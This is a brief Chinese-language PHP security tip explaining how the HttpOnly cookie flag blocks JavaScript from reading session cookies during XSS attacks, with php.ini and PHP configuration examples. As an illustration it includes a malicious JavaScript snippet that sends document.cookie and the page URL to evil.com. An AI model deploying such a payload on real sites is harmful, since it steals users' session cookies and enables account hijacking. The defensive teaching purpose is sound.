XSS 攻擊常竊取 Cookie,設定 HttpOnly 讓 JavaScript 無法讀取 document.cookie,大幅降低風險。
session.cookie_httponly = 1
ini_set("session.cookie_httponly", 1);
// 或
session_set_cookie_params(0, NULL, NULL, NULL, TRUE);
header("Set-Cookie: hidden=value; httpOnly");
// 惡意 JS 竊取 Cookie
url=document.top.location.href;
cookie=document.cookie;
c=new Image();
c.src='https://evil.com/c.php?c='+cookie+'&u='+url;
設定 HttpOnly 後,document.cookie 回傳空字串,上述攻擊失效。